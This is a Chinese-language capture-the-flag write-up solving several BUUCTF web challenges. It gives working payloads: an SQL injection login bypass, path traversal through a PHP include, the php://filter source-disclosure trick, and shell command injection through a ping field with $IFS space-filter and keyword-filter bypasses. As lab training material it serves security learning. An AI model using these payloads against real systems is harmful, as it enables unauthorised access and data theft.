BUUCTF

[极客大挑战 2019]EasySQL

进入靶机,根据题目要求,进行sql注入

用户名使用admin’ 来探测过滤器

发现可以使用,直接进行简单的sql注入

使用万能密码admin’ or 1=1#作为用户名,密码随意

得到flag

[极客大挑战 2019]Havefun

摁f12查看源码,发现cat参数判断

尝试传get参数cat=dog

image-20250331184349118

得到flag

[HCTF 2018]WarmUp

查看源代码,发现一个提示

image-20250331184525077

访问这个php,得到一段代码

image-20250331184613726

我们来逐步分析一下source.php的代码:

 if (! empty($_REQUEST['file'])
		&& is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
		echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

这段代码的意思是source.php接收一个file参数,当file这个参数满足以下三个条件时返回file指定的文件,否则输出一张图片。

  • file参数不为空
  • file参数是一个string类型
  • file参数能够通过checkFile的检验

查看hint.php后发现

image-20250331184927686

于是一层一层从文件系统向上找

最后得到payload:**?file=source.php?./../../../../ffffllllaaaagggg**

flag{c3bc189d-3f92-43e8-9463-b3de15916f1c}

[ACTF2020 新生赛]Include

首先查看源码

image-20250331191156593

这个会跳转到flag.php

然后只有一个Can you find out the flag?

然后我就蒙了查了一下,发现了php伪协议这个东西

image-20250331191534990

猜测flag.php文件显示不全

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

如果不进行过滤操作,数据会被当做php代码执行

image-20250331191800719

解码后得到flag:flag{6cef29f0-789b-484a-ba17-8bc632de4c4a}

[ACTF2020 新生赛]Exec

根据题目提示,直接尝试了php一句话木马

好吧不行

又尝试了分句linux命令执行,诶成功了

127.0.0.1;cat ../../../flag

flag{6700dd7b-1fb8-4941-9094-3a4418a5a1a3}

[GXYCTF2019]Ping Ping Ping

又是ping?再试试执行linux语句呢?

找到了flag.php,但是好像做了拦截?

绕过空格的思路一般有:

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09

尝试一下

cat$IFS$1index.php

可以看到index.php的代码

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

于是可以得到payload

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

在源码中可以看到flag{7c4b49b7-e5e2-4baa-aef6-f493f1504ad4}

[SUCTF 2019]EasySQL